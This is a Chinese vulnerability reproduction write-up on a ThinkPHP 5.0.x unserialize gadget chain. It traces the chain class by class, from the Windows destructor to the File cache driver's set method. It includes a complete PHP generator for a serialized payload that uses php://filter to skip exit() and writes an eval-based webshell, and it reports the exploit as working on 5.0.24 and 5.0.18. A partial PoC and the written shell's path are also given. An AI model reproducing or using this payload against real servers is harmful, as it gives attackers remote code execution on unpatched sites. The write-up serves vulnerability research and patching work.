漏洞复现
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| <?php
namespace think\process\pipes{ class Windows{ private $files=[];
public function __construct($pivot) { $this->files[]=$pivot; } } }
namespace think\model{ class Pivot{ protected $parent; protected $append = []; protected $error;
public function __construct($output,$hasone) { $this->parent=$output; $this->append=['a'=>'getError']; $this->error=$hasone; } } }
namespace think\db{ class Query { protected $model;
public function __construct($output) { $this->model=$output; } } }
namespace think\console{ class Output { private $handle = null; protected $styles; public function __construct($memcached) { $this->handle=$memcached; $this->styles=['getAttr']; } } }
namespace think\model\relation{ class HasOne{ protected $query; protected $selfRelation; protected $bindAttr = [];
public function __construct($query) { $this->query=$query;
$this->selfRelation=false; $this->bindAttr=['a'=>'admin']; } } }
namespace think\session\driver{ class Memcached{ protected $handler = null;
public function __construct($file) { $this->handler=$file; } } }
namespace think\cache\driver{ class File{ protected $options = [ 'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'cache_subdir'=>false, 'prefix'=>'', 'data_compress'=>false ]; protected $tag=true;
} }
namespace { $file=new think\cache\driver\File(); $memcached=new think\session\driver\Memcached($file); $output=new think\console\Output($memcached); $query=new think\db\Query($output); $hasone=new think\model\relation\HasOne($query); $pivot=new think\model\Pivot($output,$hasone); $windows=new think\process\pipes\Windows($pivot);
echo urlencode(serialize($windows)); }
|
写入成功
1
| http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php
|
文件内容
利用链分析
- thinkphp/library/think/process/pipes/Windows.php __destruct 调用removeFiles
- removeFiles,调用file_exists触发__toString
- thinkphp/library/think/Model.php __tostring->toJson->toArray 最终调用
__call
- thinkphp/library/think/console/Output.php __call 调用Output类的block
- thinkphp/library/think/console/Output.php block调用writeIn->write,最后调用$this->handle->write(),全局搜索write方法
- thinkphp/library/think/session/driver/Memcached.php write方法调用$this->handle->set(),全局搜索set
- thinkphp/library/think/cache/driver/File.php set调用file_put_contents写入文件,但是参数不可控,继续进入setTagItem
- setTagItem再次调用set,此时参数可控,写入webshell
1.thinkphp/library/think/process/pipes/Windows.php
起点:__destruct
调用removeFiles方法
2.thinkphp/library/think/process/pipes/Windows.php
removeFiles中调用了file_exists,触发__toString
3.thinkphp/library/think/Model.php
__toString->toJson->toArray:
执行到$item[$key] = $value ? $value->getAttr($attr) : null;
就能够执行Output类__call
魔术方法
详细看toArray
执行到$item[$key] = $value ? $value->getAttr($attr) : null;
就能够执行Output类__call
魔术方法
需要让$value等于Output类
需要满足条件进入else分支
- $this->append不为空
- $bindAttr
$value是包含__call方法的类,也就是Output类,$attr是传入的参数。来看一下$value和$attr的来源
$value变量来源
$value的赋值过程
1 2
| $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
|
让$relation等于Model类的getError(),这样$modelRelation就等于$this->error,$modelRelation可控
进入getRelationData,传入的$modelRelation必须是Relation类型,全局搜索找到符合要求的类HasOne
需要满足三个条件进入if分支,才能使$value可控,等于$this->parent
1
| $this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
|
第一个条件:$this->parent就是$value的来源,等于Output类
来看一下如何满足第二个条件
1
| !$modelRelation->isSelfRelation()
|
HasOne类是OneToOne类的子类,同样继承了Relation
/thinkphp/library/think/model/Relation.php
isSelfRelation方法,需要让$this->selfRelation为false
第三个条件,需要让$modelRelation->getModel()返回Output类
1
| get_class($modelRelation->getModel()) == get_class($this->parent)
|
/thinkphp/library/think/model/Relation.php
Relation的getModel方法可以调用任意类的getModel方法,全局搜索getModel()
/thinkphp/library/think/db/Query.php
Query类的getModel方法直接返回$this->model,让model属性等于output就可以了
$attr的来源
$modelRelation必须是一个有getBindAttr方法且bindAttr属性可控的类,全局搜索存在getBindAttr方法的类
/thinkphp/library/think/model/relation/OneToOne.php
找到符合要求的类OneToOne,上面已经用了它的子类HasOne,所以直接改HasOne的bindAttr属性就行
先构造部分poc,目的是成功调用到Output类的__call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| <?php
namespace think\process\pipes{ class Windows{ private $files=[];
public function __construct($pivot) { $this->files[]=$pivot; } } }
namespace think\model{ class Pivot{ protected $parent; protected $append = []; protected $error;
public function __construct($output,$hasone) { $this->parent=$output; $this->append=['a'=>'getError']; $this->error=$hasone; } } }
namespace think\db{ class Query { protected $model;
public function __construct($output) { $this->model=$output; } } }
namespace think\console{ class Output { public function __construct() {
} } }
//HasOne类继承自Relation namespace think\model\relation{ class HasOne{ protected $query; protected $selfRelation; protected $bindAttr = [];
public function __construct($query) { $this->query=$query;
$this->selfRelation=false; $this->bindAttr=['a'=>'a']; } } }
namespace { $output=new think\console\Output();
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query); $pivot=new think\model\Pivot($output,$hasone); $windows=new think\process\pipes\Windows($pivot);
echo urlencode(serialize($windows)); }
|
成功调用了Output类的__call
4./thinkphp/library/think/console/Output.php
Output类的__call,调用block方法
5./thinkphp/library/think/console/Output.php
Output类的block方法调用了writeIn,$message就是HasOne类的属性bindAttr数组的值,是可控的。格式如下
1
| <getAttr>admin</getAttr>
|
6./thinkphp/library/think/console/Output.php
Output类的writeIn方法调用了write方法,$this->handle可控,可以调用任意类的write方法。全局搜索write方法
7.thinkphp/library/think/session/driver/Memcached.php
找到Memcached类的write方法,可以调用任意类的set方法,全局搜索set方法
8.thinkphp/library/think/cache/driver/File.php
最后找到File类,set方法中可以调用file_put_contents方法写入shell。
第一个参数$name是从block方法那里传入的,还是
1
| <getAttr>admin</getAttr>
|
第二个参数$value固定为false
文件名$filename来源于getCacheKey,实际上等于
1
| $filename = $this->options['path'] . md5($name) . '.php';
|
也就是
1
| $filename = $this->options['path'] . md5('<getAttr>admin</getAttr>') . '.php';
|
可以通过$this->options[‘path’]控制文件名
还有个问题,文件内容不可控。
$data来自于set方法的参数$value,而$value的值固定为true,而且$expire只能为数值,
9.thinkphp/library/think/cache/driver/File.php
继续执行进入setTagItem,再次调用set,两个参数都可控了
现在第一个参数$name等于
1
| 'tag_' . md5($this->tag);
|
$value就是上面的$filename
1
| $value=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php
|
利用php://filter的convert.iconv和convret.base64-decode绕过拼接的exit(),写入webshell
原理见:https://xz.aliyun.com/t/7457
一共会写入两个文件,第一个文件内容不可控,第二个才是webshell
1
| a.php3b58a9545013e88c7186db11bb158c44.php
|
总结
实际测试在5.0.24和5.0.18可用,5.0.9不可用
要点:
- Model类的
__toString
调用Output类的__call
的条件
- 二次调用set实现内容可控
- 用过滤器绕过文件名和exit()
借用文章里的图总结一下
参考
https://xz.aliyun.com/t/7457
https://www.anquanke.com/post/id/196364
https://xz.aliyun.com/t/7082